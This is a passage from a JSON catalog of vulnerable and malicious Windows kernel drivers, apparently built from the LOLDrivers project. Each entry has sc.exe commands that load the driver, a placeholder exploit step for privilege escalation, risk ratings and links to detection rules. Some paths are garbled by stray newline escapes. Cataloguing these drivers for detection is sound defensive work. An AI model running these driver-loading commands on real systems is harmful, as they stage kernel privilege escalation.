        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/08eb2d2aa25c5f0af4e72a7e0126735536f6c2c05e9c7437282171afe5e322c6.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create mydrivers.sys binPath=C:\\windows\\temp\\mydrivers.sys type=kernel && sc.exe start mydrivers.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-mydrivers",
    "install": [
      {
        "method": "custom",
        "description": "Load mydrivers.sys kernel driver",
        "commands": [
          "sc.exe create mydrivers.sys binPath=C:\\windows\\temp\\mydrivers.sys type=kernel && sc.exe start mydrivers.sys"
        ]
      }
    ],
    "name": "mydrivers.sys",
    "namespace": "windows:kernel:mydrivers",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create NBIOLib_X64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\NBIOLib_X64.sys     type=kernel && sc.exe start NBIOLib_X64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver NBIOLib_X64.sys\"\n\n# NBIOLib_X64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nbiolib-x64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/3f2fda9a7a9c57b7138687bbce49a2e156d6095dddabb3454ea09737e02c3fa5.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create NBIOLib_X64.sys binPath=C:\\windows\\temp\\NBIOLib_X64.sys     type=kernel && sc.exe start NBIOLib_X64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-nbiolib-x64",
    "install": [
      {
        "method": "custom",
        "description": "Load NBIOLib_X64.sys kernel driver",
        "commands": [
          "sc.exe create NBIOLib_X64.sys binPath=C:\\windows\\temp\\NBIOLib_X64.sys     type=kernel && sc.exe start NBIOLib_X64.sys"
        ]
      }
    ],
    "name": "NBIOLib_X64.sys",
    "namespace": "windows:kernel:nbiolib-x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create NCHGBIOS2x64.SYS binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\NCHGBIOS2x64.SYS     type=kernel && sc.exe start NCHGBIOS2x64.SYS\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver NCHGBIOS2x64.SYS\"\n\n# NCHGBIOS2x64.SYS\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nchgbios2x64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/314384b40626800b1cde6fbc51ebc7d13e91398be2688c2a58354aa08d00b073.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create NCHGBIOS2x64.SYS binPath=C:\\windows\\temp\\NCHGBIOS2x64.SYS     type=kernel && sc.exe start NCHGBIOS2x64.SYS",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-nchgbios2x64",
    "install": [
      {
        "method": "custom",
        "description": "Load NCHGBIOS2x64.SYS kernel driver",
        "commands": [
          "sc.exe create NCHGBIOS2x64.SYS binPath=C:\\windows\\temp\\NCHGBIOS2x64.SYS     type=kernel && sc.exe start NCHGBIOS2x64.SYS"
        ]
      }
    ],
    "name": "NCHGBIOS2x64.SYS",
    "namespace": "windows:kernel:nchgbios2x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ncpl.sys binPath=C:\\\\\\\\windows\\\\\\\\temp \\\\\\\\n \\\\\\\\n \\\\\\\\n  cpl.sys type=kernel && sc.exe start ncpl.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ncpl.sys\"\n\n# ncpl.sys\n\nncpl.sys is a vulnerable driver. CVE-2013-3956.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ncpl.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "ncpl.sys is a vulnerable driver. CVE-2013-3956.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/6c7120e40fc850e4715058b233f5ad4527d1084a909114fd6a36b7b7573c4a44.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create ncpl.sys binPath=C:\\windows\\temp \\n \\n \\n  cpl.sys type=kernel && sc.exe start ncpl.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-kernel-ncpl",
    "install": [
      {
        "method": "custom",
        "description": "Load ncpl.sys kernel driver",
        "commands": [
          "sc.exe create ncpl.sys binPath=C:\\windows\\temp \\n \\n \\n  cpl.sys type=kernel && sc.exe start ncpl.sys"
        ]
      }
    ],
    "name": "ncpl.sys",
    "namespace": "windows:kernel:ncpl",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/jbaines-r7/dellicious"
      },
      {
        "label": "Reference",
        "url": "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ndislan.sys binPath=C:\\\\\\\\windows\\\\\\\\temp \\\\\\\\n \\\\\\\\n \\\\\\\\n  dislan.sys type=kernel && sc.exe start ndislan.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ndislan.sys\"\n\n# ndislan.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ndislan.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/b0eb4d999e4e0e7c2e33ff081e847c87b49940eb24a9e0794c6aa9516832c427.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_mal_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create ndislan.sys binPath=C:\\windows\\temp \\n \\n \\n  dislan.sys type=kernel && sc.exe start ndislan.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-ndislan",
    "install": [
      {
        "method": "custom",
        "description": "Load ndislan.sys kernel driver",
        "commands": [
          "sc.exe create ndislan.sys binPath=C:\\windows\\temp \\n \\n \\n  dislan.sys type=kernel && sc.exe start ndislan.sys"
        ]
      }
    ],
    "name": "ndislan.sys",
    "namespace": "windows:kernel:ndislan",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Netfilter.sys binPath=C:\\\\windows\\\\temp\\\\Netfilter.sys type=kernel && sc.exe start Netfilter.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Netfilter.sys\"\n\n# Netfilter.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-netfilter.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-netfilter",
    "name": "Netfilter.sys",
    "namespace": "windows:kernel:netfilter",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create netfilter2.sys binPath=C:\\\\windows\\\\temp\\\\netfilter2.sys type=kernel && sc.exe start netfilter2.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver netfilter2.sys\"\n\n# netfilter2.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-netfilter2.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-netfilter2",
    "name": "netfilter2.sys",
    "namespace": "windows:kernel:netfilter2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create netfilterdrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp \\\\\\\\n \\\\\\\\n \\\\\\\\n  etfilterdrv.sys     type=kernel type=kernel && sc.exe start netfilterdrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver netfilterdrv.sys\"\n\n# netfilterdrv.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-netfilterdrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create netfilterdrv.sys binPath=C:\\windows\\temp \\n \\n \\n  etfilterdrv.sys     type=kernel type=kernel && sc.exe start netfilterdrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-netfilterdrv",
    "install": [
      {
        "method": "custom",
        "description": "Load netfilterdrv.sys kernel driver",
        "commands": [
          "sc.exe create netfilterdrv.sys binPath=C:\\windows\\temp \\n \\n \\n  etfilterdrv.sys     type=kernel type=kernel && sc.exe start netfilterdrv.sys"
        ]
      }
    ],
    "name": "netfilterdrv.sys",
    "namespace": "windows:kernel:netfilterdrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create NetFlt.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\NetFlt.sys type=kernel && sc.exe start NetFlt.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver NetFlt.sys\"\n\n# NetFlt.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-netflt.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create NetFlt.sys binPath=C:\\windows\\temp\\NetFlt.sys type=kernel && sc.exe start NetFlt.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-netflt",
    "install": [
      {
        "method": "custom",
        "description": "Load NetFlt.sys kernel driver",
        "commands": [
          "sc.exe create NetFlt.sys binPath=C:\\windows\\temp\\NetFlt.sys type=kernel && sc.exe start NetFlt.sys"
        ]
      }
    ],
    "name": "NetFlt.sys",
    "namespace": "windows:kernel:netflt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create NetProxyDriver.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\NetProxyDriver.sys     type=kernel type=kernel && sc.exe start NetProxyDriver.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver NetProxyDriver.sys\"\n\n# NetProxyDriver.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-netproxydriver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create NetProxyDriver.sys binPath=C:\\windows\\temp\\NetProxyDriver.sys     type=kernel type=kernel && sc.exe start NetProxyDriver.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "remote",
      "requires-root"
    ],
    "id": "windows-kernel-netproxydriver",
    "install": [
      {
        "method": "custom",
        "description": "Load NetProxyDriver.sys kernel driver",
        "commands": [
          "sc.exe create NetProxyDriver.sys binPath=C:\\windows\\temp\\NetProxyDriver.sys     type=kernel type=kernel && sc.exe start NetProxyDriver.sys"
        ]
      }
    ],
    "name": "NetProxyDriver.sys",
    "namespace": "windows:kernel:netproxydriver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create NetworkLocker_x64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\NetworkLocker_x64.sys type=kernel && sc.exe start NetworkLocker_x64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver NetworkLocker_x64.sys\"\n\n# NetworkLocker_x64.sys\n\nNetworkLocker_x64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-networklocker-x64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "NetworkLocker_x64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create NetworkLocker_x64 binPath=C:\\windows\\temp\\NetworkLocker_x64.sys type=kernel && sc.exe start NetworkLocker_x64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "network-intensive",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-networklocker-x64",
    "install": [
      {
        "method": "custom",
        "description": "Load NetworkLocker_x64.sys kernel driver",
        "commands": [
          "sc.exe create NetworkLocker_x64 binPath=C:\\windows\\temp\\NetworkLocker_x64.sys type=kernel && sc.exe start NetworkLocker_x64"
        ]
      }
    ],
    "name": "NetworkLocker_x64.sys",
    "namespace": "windows:kernel:networklocker-x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ngiodriversys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ngiodriversys.sys type=kernel && sc.exe start ngiodriversys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ngiodriver.sys\"\n\n# ngiodriver.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ngiodriver.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create ngiodriversys binPath= C:\\windows\\temp\\ngiodriversys.sys type=kernel && sc.exe start ngiodriversys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-ngiodriver",
    "install": [
      {
        "method": "custom",
        "description": "Load ngiodriver.sys kernel driver",
        "commands": [
          "sc.exe create ngiodriversys binPath= C:\\windows\\temp\\ngiodriversys.sys type=kernel && sc.exe start ngiodriversys"
        ]
      }
    ],
    "name": "ngiodriver.sys",
    "namespace": "windows:kernel:ngiodriver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ni.sys binPath=C:\\\\\\\\windows\\\\\\\\temp \\\\\\\\n \\\\\\\\n \\\\\\\\n  i.sys type=kernel && sc.exe start ni.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ni.sys\"\n\n# ni.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ni.md",
    "author": "Michael Haag",
